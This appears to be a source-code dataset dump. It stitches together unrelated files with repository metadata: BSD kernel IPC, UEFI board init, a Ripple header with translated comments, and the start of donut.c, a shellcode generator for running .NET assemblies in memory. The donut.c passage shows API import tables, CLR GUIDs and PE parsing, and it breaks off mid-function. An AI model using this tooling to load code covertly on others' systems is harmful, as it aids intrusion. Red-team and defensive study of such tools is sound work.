2016-02-08T11:07:52.000Z
2022-03-22T03:44:14.000Z
#ifndef _MULTIDICT_DEFS_H #define _MULTIDICT_DEFS_H #ifdef __cplusplus extern "C" { #endif _Py_IDENTIFIER(lower); /* We link this module statically for convenience. If compiled as a shared library instead, some compilers don't allow addresses of Python objects defined in other libraries to be used in static initializers here. The DEFERRED_ADDRESS macro is used to tag the slots where such addresses appear; the module init function must fill in the tagged slots at runtime. The argument is for documentation -- the macro ignores it. */ #define DEFERRED_ADDRESS(ADDR) 0 #ifdef __cplusplus } #endif #endif
27.26087
77
0.776715
54c6b62567e7812c1c14537167c374e82695858a
4,293
c
C
sys/kern/uipc_mu_msg.c
weiss/original-bsd
b44636d7febc9dcf553118bd320571864188351d
[ "Unlicense" ]
114
2015-01-18T22:55:52.000Z
2022-02-17T10:45:02.000Z
sys/kern/uipc_mu_msg.c
JamesLinus/original-bsd
b44636d7febc9dcf553118bd320571864188351d
[ "Unlicense" ]
null
null
null
sys/kern/uipc_mu_msg.c
JamesLinus/original-bsd
b44636d7febc9dcf553118bd320571864188351d
[ "Unlicense" ]
29
2015-11-03T22:05:22.000Z
2022-02-08T15:36:37.000Z
/* uipc_mu_msg.c Melb 4.3 82/12/28 */ #ifdef MUSH #include "../h/param.h" #include "../h/dir.h" #include "../h/user.h" #include "../h/proc.h" /* * Melbourne Trivial IPC mechanism * * This is intended solely to serve for the 4.1bsd MUSH implementation * until a better IPC scheme arrives from somewhere * * If it happens to be useful for other purposes, OK, but users * should be prepared to change at short (no) notice. * This is purposely kept as small as possible, with the expectation * than anything done using this scheme should be able to be * done easily in any other, with possibly a little more legwork. * * NB: we don't go fooling with spl's in here, as it is deliberately * not intended that interrupt level code will ever call this */ mu_msg() { register struct proc *p, *pp; mmsgbuf mb; register struct a { msg_type cmd; int wait; /* bit mask - see mu_msg.h */ mmsgbuf * msgp; } *uap; uap = (struct a *)u.u_ap; p = u.u_procp; for (;;) { /* only loop if cmd == MSG_SNDW */ switch (uap->cmd) { case MSG_ENAB: p->p_msgflgs |= MSGENAB; return; case MSG_DISB: p->p_msgflgs &= ~MSGENAB; /* * Q: what should be done with a pending msg * - for now we will just leave it, proc should * do a MSG_RECV w/o waiting after MSG_DISB */ return; case MSG_RECV: while (!p->p_mb.msg_val && (uap->wait & MSG_W_RCV)) { p->p_msgflgs |= MSGOK; sleep((caddr_t) &p->p_mb, MSGPRI); } u.u_error = copyout((caddr_t)&p->p_mb, (caddr_t)uap->msgp, sizeof(mmsgbuf)); p->p_msgflgs &= ~(MSGOK|MSGWRPLY); if (p->p_mb.msg_rply) p->p_msgflgs |= MSGRPLY; else { p->p_mb.msg_val = 0; if (p->p_msgflgs & MSGWAIT) { p->p_msgflgs &= ~MSGWAIT; wakeup((caddr_t)&p->p_mb); } } return; case MSG_SEND: case MSG_SNDW: case MSG_RPLY: u.u_error = copyin((caddr_t)uap->msgp, (caddr_t)&mb, sizeof(mmsgbuf)); if (u.u_error) return; if (uap->cmd == MSG_RPLY) { if (!(p->p_msgflgs & MSGRPLY) || mb.msg_pid != p->p_mb.msg_pid) { u.u_error = EINVAL; return; } p->p_mb.msg_val = 0; if (!mb.msg_rply && p->p_msgflgs & MSGWAIT) { p->p_msgflgs &= ~MSGWAIT; wakeup((caddr_t)&p->p_mb); } } else { if (p->p_msgflgs & MSGRPLY) { while (pp = mu_send(&p->p_mb, (int)p->p_mb.msg_pid, 0)) { pp->p_msgflgs |= MSGWAIT; sleep((caddr_t)&pp->p_mb, MSGPRI); } u.u_error = 0; /* not err if exited */ p->p_mb.msg_val = 0; if (!mb.msg_rply && p->p_msgflgs & MSGWAIT) { p->p_msgflgs &= ~MSGWAIT; wakeup((caddr_t)&p->p_mb); } } } p->p_msgflgs &= ~MSGRPLY; if (mb.msg_rply) { if (p->p_mb.msg_val) { u.u_error = ENOSPC; return; } p->p_mb = mb; p->p_mb.msg_rply = 0; p->p_mb.msg_val = 0; p->p_msgflgs |= MSGWRPLY; } mb.msg_uid = u.u_uid; while ((pp = mu_send(&mb, (int)mb.msg_pid, p->p_pid)) && uap->wait & MSG_W_POST) { pp->p_msgflgs |= MSGWAIT; sleep((caddr_t)&pp->p_mb, MSGPRI); } if (pp) u.u_error = EBUSY; if (u.u_error) { if (mb.msg_rply) p->p_msgflgs &= ~MSGWRPLY; return; } if (uap->cmd == MSG_SNDW) { uap->cmd = MSG_RECV; break; } return; default: u.u_error = EINVAL; return; } } } struct proc * mu_send(mp, pid, from) register mmsgbuf *mp; register int pid, from; { register struct proc *p; p = pfind(pid); if (p == NULL || p->p_stat == SZOMB || !(p->p_msgflgs & (MSGOK|MSGENAB|MSGWRPLY))) { u.u_error = ESRCH; return((struct proc *)0); } if (p->p_mb.msg_val || from != 0 && p->p_msgflgs&MSGWRPLY && from != p->p_mb.msg_pid) return(p); p->p_mb = *mp; p->p_mb.msg_val = 1; p->p_mb.msg_pid = from; if (from == 0) p->p_mb.msg_rply = 0; if (p->p_msgflgs & MSGOK) wakeup((caddr_t)&p->p_mb); else if (p->p_msgflgs & MSGENAB) psignal(p, SIGMESG); return((struct proc *)0); } msgto(pid, data) int pid; DATA_T data; { register struct proc *p; mmsgbuf mb; mb.msg_uid = 0; /* all msgs from system are from root */ mb.msg_data = data; mb.msg_rply = 0; while (p = mu_send(&mb, pid, u.u_procp->p_pid)) { p->p_msgflgs |= MSGWAIT; sleep((caddr_t)&p->p_mb, MSGPRI); } } #endif
22.359375
70
0.587235
0708396d9792514efa981e3e14f6855424025fcc
5,300
c
C
Platforms/TexasInstruments/BeagleBoard/Sec/Sec.c
joyxu/uefi
1fa62be3971c2c84bc15bfb925052b96b94ef641
[ "BSD-2-Clause" ]
93
2016-10-27T12:03:57.000Z
2022-03-29T15:22:10.000Z
Platforms/TexasInstruments/BeagleBoard/Sec/Sec.c
joyxu/uefi
1fa62be3971c2c84bc15bfb925052b96b94ef641
[ "BSD-2-Clause" ]
16
2016-11-02T02:08:40.000Z
2021-06-03T21:18:06.000Z
Platforms/TexasInstruments/BeagleBoard/Sec/Sec.c
joyxu/uefi
1fa62be3971c2c84bc15bfb925052b96b94ef641
[ "BSD-2-Clause" ]
42
2016-02-25T02:34:56.000Z
2020-05-13T07:22:33.000Z
/** @file C Entry point for the SEC. First C code after the reset vector. Copyright (c) 2008 - 2009, Apple Inc. All rights reserved.<BR> This program and the accompanying materials are licensed and made available under the terms and conditions of the BSD License which accompanies this distribution. The full text of the license may be found at http://opensource.org/licenses/bsd-license.php THE PROGRAM IS DISTRIBUTED UNDER THE BSD LICENSE ON AN "AS IS" BASIS, WITHOUT WARRANTIES OR REPRESENTATIONS OF ANY KIND, EITHER EXPRESS OR IMPLIED. **/ #include <PiPei.h> #include <Library/DebugLib.h> #include <Library/PrePiLib.h> #include <Library/PcdLib.h> #include <Library/IoLib.h> #include <Library/OmapLib.h> #include <Library/ArmLib.h> #include <Library/PeCoffGetEntryPointLib.h> #include <Library/DebugAgentLib.h> #include <Ppi/GuidedSectionExtraction.h> #include <Guid/LzmaDecompress.h> #include <Omap3530/Omap3530.h> #include "LzmaDecompress.h" VOID PadConfiguration ( VOID ); VOID ClockInit ( VOID ); VOID TimerInit ( VOID ) { UINTN Timer = FixedPcdGet32(PcdOmap35xxFreeTimer); UINT32 TimerBaseAddress = TimerBase(Timer); // Set source clock for GPT3 & GPT4 to SYS_CLK MmioOr32 (CM_CLKSEL_PER, CM_CLKSEL_PER_CLKSEL_GPT3_SYS | CM_CLKSEL_PER_CLKSEL_GPT4_SYS); // Set count & reload registers MmioWrite32 (TimerBaseAddress + GPTIMER_TCRR, 0x00000000); MmioWrite32 (TimerBaseAddress + GPTIMER_TLDR, 0x00000000); // Disable interrupts MmioWrite32 (TimerBaseAddress + GPTIMER_TIER, TIER_TCAR_IT_DISABLE | TIER_OVF_IT_DISABLE | TIER_MAT_IT_DISABLE); // Start Timer MmioWrite32 (TimerBaseAddress + GPTIMER_TCLR, TCLR_AR_AUTORELOAD | TCLR_ST_ON); //Disable OMAP Watchdog timer (WDT2) MmioWrite32 (WDTIMER2_BASE + WSPR, 0xAAAA); DEBUG ((EFI_D_ERROR, "Magic delay to disable watchdog timers properly.\n")); MmioWrite32 (WDTIMER2_BASE + WSPR, 0x5555); } VOID UartInit ( VOID ) { UINTN Uart = FixedPcdGet32(PcdOmap35xxConsoleUart); UINT32 UartBaseAddress = UartBase(Uart); // Set MODE_SELECT=DISABLE before trying to initialize or modify DLL, DLH registers. MmioWrite32 (UartBaseAddress + UART_MDR1_REG, UART_MDR1_MODE_SELECT_DISABLE); // Put device in configuration mode. MmioWrite32 (UartBaseAddress + UART_LCR_REG, UART_LCR_DIV_EN_ENABLE); // Programmable divisor N = 48Mhz/16/115200 = 26 MmioWrite32 (UartBaseAddress + UART_DLL_REG, 3000000/FixedPcdGet64 (PcdUartDefaultBaudRate)); // low divisor MmioWrite32 (UartBaseAddress + UART_DLH_REG, 0); // high divisor // Enter into UART operational mode. MmioWrite32 (UartBaseAddress + UART_LCR_REG, UART_LCR_DIV_EN_DISABLE | UART_LCR_CHAR_LENGTH_8); // Force DTR and RTS output to active MmioWrite32 (UartBaseAddress + UART_MCR_REG, UART_MCR_RTS_FORCE_ACTIVE | UART_MCR_DTR_FORCE_ACTIVE); // Clear & enable fifos MmioWrite32 (UartBaseAddress + UART_FCR_REG, UART_FCR_TX_FIFO_CLEAR | UART_FCR_RX_FIFO_CLEAR | UART_FCR_FIFO_ENABLE); // Restore MODE_SELECT MmioWrite32 (UartBaseAddress + UART_MDR1_REG, UART_MDR1_MODE_SELECT_UART_16X); } VOID InitCache ( IN UINT32 MemoryBase, IN UINT32 MemoryLength ); EFI_STATUS EFIAPI ExtractGuidedSectionLibConstructor ( VOID ); EFI_STATUS EFIAPI LzmaDecompressLibConstructor ( VOID ); VOID CEntryPoint ( IN VOID *MemoryBase, IN UINTN MemorySize, IN VOID *StackBase, IN UINTN StackSize ) { VOID *HobBase; // Build a basic HOB list HobBase = (VOID *)(UINTN)(FixedPcdGet32(PcdEmbeddedFdBaseAddress) + FixedPcdGet32(PcdEmbeddedFdSize)); CreateHobList (MemoryBase, MemorySize, HobBase, StackBase); //Set up Pin muxing. PadConfiguration (); // Set up system clocking ClockInit (); // Enable program flow prediction, if supported. ArmEnableBranchPrediction (); // Initialize CPU cache InitCache ((UINT32)MemoryBase, (UINT32)MemorySize); // Add memory allocation hob for relocated FD BuildMemoryAllocationHob (FixedPcdGet32(PcdEmbeddedFdBaseAddress), FixedPcdGet32(PcdEmbeddedFdSize), EfiBootServicesData); // Add the FVs to the hob list BuildFvHob (PcdGet32(PcdFlashFvMainBase), PcdGet32(PcdFlashFvMainSize)); // Start talking UartInit (); InitializeDebugAgent (DEBUG_AGENT_INIT_PREMEM_SEC, NULL, NULL); SaveAndSetDebugTimerInterrupt (TRUE); DEBUG ((EFI_D_ERROR, "UART Enabled\n")); // Start up a free running timer so that the timer lib will work TimerInit (); // SEC phase needs to run library constructors by hand. ExtractGuidedSectionLibConstructor (); LzmaDecompressLibConstructor (); // Build HOBs to pass up our version of stuff the DXE Core needs to save space BuildPeCoffLoaderHob (); BuildExtractSectionHob ( &gLzmaCustomDecompressGuid, LzmaGuidedSectionGetInfo, LzmaGuidedSectionExtraction ); // Assume the FV that contains the SEC (our code) also contains a compressed FV. DecompressFirstFv (); // Load the DXE Core and transfer control to it LoadDxeCoreFromFv (NULL, 0); // DXE Core should always load and never return ASSERT (FALSE); }
28.342246
125
0.725472
e65be28b155e234d8e129051e318750a4cb59c93
3,299
h
C
src/ripple/peerfinder/impl/Tuning.h
yinchengtsinghua/RippleCPPChinese
a32a38a374547bdc5eb0fddcd657f45048aaad6a
[ "BSL-1.0" ]
5
2019-01-23T04:36:03.000Z
2020-02-04T07:10:39.000Z
src/ripple/peerfinder/impl/Tuning.h
yinchengtsinghua/RippleCPPChinese
a32a38a374547bdc5eb0fddcd657f45048aaad6a
[ "BSL-1.0" ]
null
null
null
src/ripple/peerfinder/impl/Tuning.h
yinchengtsinghua/RippleCPPChinese
a32a38a374547bdc5eb0fddcd657f45048aaad6a
[ "BSL-1.0" ]
2
2019-05-14T07:26:59.000Z
2020-06-15T07:25:01.000Z
//此源码被清华学神尹成大魔王专业翻译分析并修改 //尹成QQ77025077 //尹成微信18510341407 //尹成所在QQ群721929980 //尹成邮箱 yinc13@mails.tsinghua.edu.cn //尹成毕业于清华大学,微软区块链领域全球最有价值专家 //https://mvp.microsoft.com/zh-cn/PublicProfile/4033620 //———————————————————————————————————————————————————————————————————————————————————————————————————————————————— /* 此文件是Rippled的一部分:https://github.com/ripple/rippled 版权所有(c)2012,2013 Ripple Labs Inc. 使用、复制、修改和/或分发本软件的权限 特此授予免费或不收费的目的,前提是 版权声明和本许可声明出现在所有副本中。 本软件按“原样”提供,作者不作任何保证。 关于本软件,包括 适销性和适用性。在任何情况下,作者都不对 任何特殊、直接、间接或后果性损害或任何损害 因使用、数据或利润损失而导致的任何情况,无论是在 合同行为、疏忽或其他侵权行为 或与本软件的使用或性能有关。 **/ //============================================================== #ifndef RIPPLE_PEERFINDER_TUNING_H_INCLUDED #define RIPPLE_PEERFINDER_TUNING_H_INCLUDED #include <array> namespace ripple { namespace PeerFinder { /*启发式调谐常数。*/ /*@ {*/ namespace Tuning { enum { //—————————————————————————————————————————————————————————————————————————————————————————————————————————————— // //自动连接策略 // //—————————————————————————————————————————————————————————————————————————————————————————————————————————————— /*在进行批量连接尝试之间等待的时间*/ secondsPerConnect = 10 /*同时连接尝试的最大次数。*/ ,maxConnectAttempts = 20 /*出站对等机插槽总数的百分比。 出站对等机的数量将是 MinOutCount和Outpercent*配置::MaxPeers 圆形的 **/ ,outPercent = 15 /*传出连接数的硬最小值。 这是在逻辑之外强制执行的,因此单元测试 可以使用它想要的任何设置。 **/ ,minOutCount = 10 /*config::maxpeers的默认值。*/ ,defaultMaxPeers = 21 /*我们将接受一个连接的最大重定向次数。 重定向仅限于安全目的,以防止 地址缓存以防被淹没。 **/ ,maxRedirects = 30 }; //———————————————————————————————————————————————————————————————————————————————————————————————————————————————— // //固定的 // //———————————————————————————————————————————————————————————————————————————————————————————————————————————————— static std::array <int, 10> const connectionBackoff {{ 1, 1, 2, 3, 5, 8, 13, 21, 34, 55 }}; //———————————————————————————————————————————————————————————————————————————————————————————————————————————————— // //引导缓存 // //———————————————————————————————————————————————————————————————————————————————————————————————————————————————— enum { //缓存项的阈值,超过该阈值时进行修剪。 bootcacheSize = 1000 //修剪缓存时所修剪地址的百分比。 ,bootcachePrunePercent = 10 }; //数据库更新之间的冷却等待 //理想情况下,这应该比一个完整的 //对等机向我们发送一组地址,然后断开连接。 // static std::chrono::seconds const bootcacheCooldownTime (60); //———————————————————————————————————————————————————————————————————————————————————————————————————————————————— // //利瓦切奇 // //———————————————————————————————————————————————————————————————————————————————————————————————————————————————— enum { //删除跃点大于此数字的传入邮件 maxHops = 6 //每个mtendpoints中要发送多少个端点 ,numberOfEndpoints = 2 * maxHops //我们将在mtendpoints中接受的最大端点 ,numberOfEndpointsMax = 20 //默认情况下我们需要的对等数,除非 //显式值在配置文件中设置。 ,defaultMaxPeerCount = 21 /*重定向时提供的地址数。*/ ,redirectEndpointCount = 10 }; //每对等端发送或接受mtendpoints消息的频率 static std::chrono::seconds const secondsPerMessage (5); //端点将在缓存中停留多长时间 //这应该是广播频率的小倍数 static std::chrono::seconds const liveCacheSecondsToLive (30); // // // //在再次尝试传出地址之前要等待多长时间。 //注意,为了进行比较,我们忽略了端口。 static std::chrono::seconds const recentAttemptDuration (60); } /*@ }*/ } } #endif
20.879747
114
0.451652
50882c70b2f76d467bf41b82e5e4c9b540e0c7d0
35,216
c
C
donut.c
killvxk/donut
9117e815193cfbccd6c26e2d954d4a83e940fd2c
[ "BSD-3-Clause" ]
5
2019-07-27T01:50:47.000Z
2020-01-10T07:37:49.000Z
donut.c
gcxtx/donut
9117e815193cfbccd6c26e2d954d4a83e940fd2c
[ "BSD-3-Clause" ]
null
null
null
donut.c
gcxtx/donut
9117e815193cfbccd6c26e2d954d4a83e940fd2c
[ "BSD-3-Clause" ]
1
2019-12-03T01:33:03.000Z
2019-12-03T01:33:03.000Z
/** BSD 3-Clause License Copyright (c) 2019, TheWover, Odzhan. All rights reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: * Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. * Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. */ #include "donut.h" #include "payload/payload_exe_x86.h" #include "payload/payload_exe_x64.h" #define PUT_BYTE(p, v) { *(uint8_t *)(p) = (uint8_t) (v); p = (uint8_t*)p + 1; } #define PUT_HWORD(p, v) { t=v; memcpy((char*)p, (char*)&t, 2); p = (uint8_t*)p + 2; } #define PUT_WORD(p, v) { t=v; memcpy((char*)p, (char*)&t, 4); p = (uint8_t*)p + 4; } #define PUT_BYTES(p, v, n) { memcpy(p, v, n); p = (uint8_t*)p + n; } // these have to be in same order as structure in donut.h static API_IMPORT api_imports[]= { {KERNEL32_DLL, "LoadLibraryA"}, {KERNEL32_DLL, "LoadLibraryExA"}, {KERNEL32_DLL, "GetProcAddress"}, {KERNEL32_DLL, "GetModuleHandleA"}, {KERNEL32_DLL, "AllocConsole"}, {KERNEL32_DLL, "AttachConsole"}, {KERNEL32_DLL, "GetCurrentProcessId"}, {KERNEL32_DLL, "GetCurrentThreadId"}, {KERNEL32_DLL, "SetConsoleCtrlHandler"}, {KERNEL32_DLL, "GetStdHandle"}, {KERNEL32_DLL, "SetStdHandle"}, {KERNEL32_DLL, "CreateFileA"}, {KERNEL32_DLL, "CreateProcessA"}, {KERNEL32_DLL, "WaitForSingleObject"}, {KERNEL32_DLL, "VirtualAlloc"}, {KERNEL32_DLL, "VirtualFree"}, {KERNEL32_DLL, "VirtualQuery"}, {KERNEL32_DLL, "VirtualProtect"}, {OLEAUT32_DLL, "SafeArrayCreate"}, {OLEAUT32_DLL, "SafeArrayCreateVector"}, {OLEAUT32_DLL, "SafeArrayPutElement"}, {OLEAUT32_DLL, "SafeArrayDestroy"}, {OLEAUT32_DLL, "SafeArrayGetLBound"}, {OLEAUT32_DLL, "SafeArrayGetUBound"}, {OLEAUT32_DLL, "SysAllocString"}, {OLEAUT32_DLL, "SysFreeString"}, {WININET_DLL, "InternetCrackUrlA"}, {WININET_DLL, "InternetOpenA"}, {WININET_DLL, "InternetConnectA"}, {WININET_DLL, "InternetSetOptionA"}, {WININET_DLL, "InternetReadFile"}, {WININET_DLL, "InternetCloseHandle"}, {WININET_DLL, "HttpOpenRequestA"}, {WININET_DLL, "HttpSendRequestA"}, {WININET_DLL, "HttpQueryInfoA"}, {MSCOREE_DLL, "CorBindToRuntime"}, {MSCOREE_DLL, "CLRCreateInstance"}, {SHLWAPI_DLL, "SHGetValueA"}, { NULL, NULL } }; static GUID xCLSID_CorRuntimeHost = { 0xcb2f6723, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}; static GUID xIID_ICorRuntimeHost = { 0xcb2f6722, 0xab3a, 0x11d2, {0x9c, 0x40, 0x00, 0xc0, 0x4f, 0xa3, 0x0a, 0x3e}}; static GUID xCLSID_CLRMetaHost = { 0x9280188d, 0xe8e, 0x4867, {0xb3, 0xc, 0x7f, 0xa8, 0x38, 0x84, 0xe8, 0xde}}; static GUID xIID_ICLRMetaHost = { 0xD332DB9E, 0xB9B3, 0x4125, {0x82, 0x07, 0xA1, 0x48, 0x84, 0xF5, 0x32, 0x16}}; static GUID xIID_ICLRRuntimeInfo = { 0xBD39D1D2, 0xBA2F, 0x486a, {0x89, 0xB0, 0xB4, 0xB0, 0xCB, 0x46, 0x68, 0x91}}; static GUID xIID_AppDomain = { 0x05F696DC, 0x2B29, 0x3663, {0xAD, 0x8B, 0xC4,0x38, 0x9C, 0xF2, 0xA7, 0x13}}; static uint64_t utf8_to_utf16(wchar_t* dst, const char* src, uint64_t len) { uint16_t *out = (uint16_t*)dst; uint64_t i; for(i=0; src[i] != 0 && i < len; i++) { out[i] = src[i]; } return i; } static int GetModuleType(const char *file) { IMAGE_DOS_HEADER dos; IMAGE_NT_HEADERS64 nt; int fd, type = -1; DPRINT("Opening %s", file); fd = open(file, O_RDONLY); if(fd < 0) return -1; DPRINT("Reading IMAGE_DOS_HEADER"); read(fd, &dos, sizeof(dos)); DPRINT("Checking e_magic"); if(dos.e_magic == IMAGE_DOS_SIGNATURE) { DPRINT("Seeking position of IMAGE_NT_HEADERS"); lseek(fd, dos.e_lfanew, SEEK_SET); DPRINT("Reading IMAGE_NT_HEADERS"); read(fd, &nt, sizeof(nt)); DPRINT("Checking Signature"); if(nt.Signature == IMAGE_NT_SIGNATURE) { DPRINT("Characteristics : %04lx", nt.FileHeader.Characteristics); if(nt.FileHeader.Characteristics & IMAGE_FILE_DLL) { type = DONUT_MODULE_DLL; } else { type = DONUT_MODULE_EXE; } } } close(fd); return type; } // return pointer to DOS header PIMAGE_DOS_HEADER DosHdr(void *map) { return (PIMAGE_DOS_HEADER)map; } // return pointer to NT headers PIMAGE_NT_HEADERS NtHdr (void *map) { return (PIMAGE_NT_HEADERS) ((uint8_t*)map + DosHdr(map)->e_lfanew); } // return pointer to File header PIMAGE_FILE_HEADER FileHdr (void *map) { return &NtHdr(map)->FileHeader; } // determines CPU architecture of binary int is32 (void *map) { return FileHdr(map)->Machine == IMAGE_FILE_MACHINE_I386; } // determines CPU architecture of binary int is64 (void *map) { return FileHdr(map)->Machine == IMAGE_FILE_MACHINE_AMD64; } // return pointer to Optional header void* OptHdr (void *map) { return (void*)&NtHdr(map)->OptionalHeader; } // return pointer to first section header PIMAGE_SECTION_HEADER SecHdr (void *map) { PIMAGE_NT_HEADERS nt = NtHdr(map); return (PIMAGE_SECTION_HEADER)((uint8_t*)&nt->OptionalHeader + nt->FileHeader.SizeOfOptionalHeader); } uint32_t SecSize (void *map) { return NtHdr(map)->FileHeader.NumberOfSections; } PIMAGE_DATA_DIRECTORY Dirs (void *map) { if (is32(map)) { return ((PIMAGE_OPTIONAL_HEADER32)OptHdr(map))->DataDirectory; } else { return ((PIMAGE_OPTIONAL_HEADER64)OptHdr(map))->DataDirectory; } } // valid dos header? int valid_dos_hdr (void *map) { PIMAGE_DOS_HEADER dos = DosHdr(map); if (dos->e_magic != IMAGE_DOS_SIGNATURE) return 0; return (dos->e_lfanew != 0); } // valid nt headers int valid_nt_hdr (void *map) { return NtHdr(map)->Signature == IMAGE_NT_SIGNATURE; } void set_subsystem(void *map, uint16_t subsystem) { PIMAGE_OPTIONAL_HEADER32 hdr32; PIMAGE_OPTIONAL_HEADER64 hdr64; #ifdef DEBUG uint16_t ss; #endif if(is32(map)) { hdr32 = (PIMAGE_OPTIONAL_HEADER32)OptHdr(map); #ifdef DEBUG ss = hdr32->Subsystem; #endif hdr32->Subsystem = subsystem; } else { hdr64 = (PIMAGE_OPTIONAL_HEADER64)OptHdr(map); #ifdef DEBUG ss = hdr64->Subsystem; #endif hdr64->Subsystem = subsystem; } DPRINT("Subsystem before reset : %02x", ss); } uint64_t rva2ofs (void *map, uint32_t rva) { int i; uint64_t ofs; PIMAGE_SECTION_HEADER sh = SecHdr(map); for (i=0; i<SecSize(map); i++) { DPRINT("Checking %s", sh[i].Name); if (rva >= sh[i].VirtualAddress && rva < sh[i].VirtualAddress + sh[i].SizeOfRawData) { DPRINT("RawData : %08lx VA : %08lx for RVA : %08lx", sh[i].PointerToRawData, sh[i].VirtualAddress, rva); ofs = sh[i].PointerToRawData + (rva - sh[i].VirtualAddress); DPRINT("OFS : %016llx Base : %p", ofs, map); return ofs; } } return -1; } // Per the ECMA spec, the section data looks like this: typedef struct tagMDSTORAGESIGNATURE { ULONG lSignature; // "Magic" signature. USHORT iMajorVer; // Major file version. USHORT iMinorVer; // Minor file version. ULONG iExtraData; // Offset to next structure of information ULONG iVersionString; // Length of version string BYTE pVersion[0]; // Version string } MDSTORAGESIGNATURE, *PMDSTORAGESIGNATURE; static char *GetVersionFromFile(const char *file) { PIMAGE_COR20_HEADER cor; PIMAGE_DATA_DIRECTORY dir; DWORD rva; int fd; struct stat fs; uint8_t *base; PMDSTORAGESIGNATURE pss; static char version[32]; uint64_t ofs; // default if no version can be retrieved strcpy(version, "v4.0.30319"); DPRINT("Opening %s", file); fd = open(file, O_RDONLY); if(fd < 0) return version; // get the size of assembly if(fstat(fd, &fs) == 0) { // map into memory DPRINT("Mapping %i bytes for %s", fs.st_size, file); base = (uint8_t*)mmap(NULL, fs.st_size, PROT_READ, MAP_PRIVATE, fd, 0); if(base != NULL) { DPRINT("Reading IMAGE_COR20_HEADER"); dir = Dirs(base); rva = dir[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress; DPRINT("RVA : %08lx", rva); if(rva != 0) { ofs = rva2ofs(base, rva); if (ofs != -1) { cor = (PIMAGE_COR20_HEADER)(ofs + base); DPRINT("PIMAGE_COR20_HEADER : %p", cor); rva = cor->MetaData.VirtualAddress; DPRINT("RVA : %08lx", rva); if(rva != 0) { ofs = rva2ofs(base, rva); DPRINT("RVA2OFS(rva=%08lx, ofs=%016llx)", rva, ofs); if(ofs != -1) { pss = (PMDSTORAGESIGNATURE)(ofs + base); strncpy(version, (char*)pss->pVersion, sizeof(version) - 1); } } } } munmap(base, fs.st_size); } } DPRINT("Version : %s", version); DPRINT("Closing %s", file); close(fd); return version; } // Tries to determine if assembly is valid // Using simple checks.. int IsValidAssembly(const char *path) { int fd, valid = 0; struct stat fs; PIMAGE_COR20_HEADER cor; PIMAGE_DATA_DIRECTORY dir; DWORD rva, len; uint64_t ofs; uint8_t *base; DPRINT("Opening %s", path); fd = open(path, O_RDONLY); if(fd < 0) return 0; // get the size of assembly if(fstat(fd, &fs) == 0) { // map into memory DPRINT("Mapping %i bytes for %s", fs.st_size, path); base = (uint8_t*)mmap(NULL, fs.st_size, PROT_READ, MAP_PRIVATE, fd, 0); if(base != NULL) { DPRINT("Checking DOS header"); if(valid_dos_hdr(base)) { DPRINT("Checking NT header"); if(valid_nt_hdr(base)) { DPRINT("Checking COM directory"); dir = Dirs(base); if(dir != NULL) { rva = dir[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].VirtualAddress; len = dir[IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR].Size; ofs = rva2ofs(base, rva); DPRINT("RVA2OFS(rva=%08lx, ofs=%016llx)", rva, ofs); if(ofs != -1) { cor = (PIMAGE_COR20_HEADER)(ofs + base); valid = (rva != 0 && len != 0 && cor != NULL); } } } } DPRINT("Unmapping"); munmap(base, fs.st_size); } } DPRINT("Closing %s", path); DPRINT("%s is valid assembly : %s", path, valid ? "TRUE" : "FALSE"); close(fd); return valid; } // returns 1 on success else <=0 static int CreateRandom(void *buf, uint64_t len) { #if defined(WINDOWS) HCRYPTPROV prov; int ok; // 1. acquire crypto context if(!CryptAcquireContext( &prov, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT | CRYPT_SILENT)) return 0; ok = (int)CryptGenRandom(prov, (DWORD)len, buf); CryptReleaseContext(prov, 0); return ok; #else int fd; uint64_t r=0; uint8_t *p=(uint8_t*)buf; DPRINT("Opening /dev/urandom to acquire %li bytes", len); fd = open("/dev/urandom", O_RDONLY); if(fd > 0) { for(r=0; r<len; r++, p++) { if(read(fd, p, 1) != 1) break; } close(fd); } DPRINT("Acquired %li of %li bytes requested", r, len); return r == len; #endif } // Generate a random string, not exceeding DONUT_MAX_NAME bytes // tbl is from https://stackoverflow.com/a/27459196 static int GenRandomString(void *output, uint64_t len) { uint8_t rnd[DONUT_MAX_NAME]; int i; char tbl[]="HMN34P67R9TWCXYF"; char *str = (char*)output; if(len == 0 || len > (DONUT_MAX_NAME - 1)) return 0; // generate DONUT_MAX_NAME random bytes if(!CreateRandom(rnd, DONUT_MAX_NAME)) return 0; // generate a string using unambiguous characters for(i=0; i<len; i++) { str[i] = tbl[rnd[i] % (sizeof(tbl) - 1)]; } str[i]=0; return 1; } static int CreateModule(PDONUT_CONFIG c) { struct stat fs; FILE *fd; PDONUT_MODULE mod = NULL; uint64_t len = 0; char *param, parambuf[DONUT_MAX_NAME*DONUT_MAX_PARAM]; int cnt, err=DONUT_ERROR_SUCCESS; // Assembly is inaccessibe? exit DPRINT("stat(%s)", c->file); if(stat(c->file, &fs) != 0) return DONUT_ERROR_ASSEMBLY_NOT_FOUND; // Zero file size? exit if(fs.st_size == 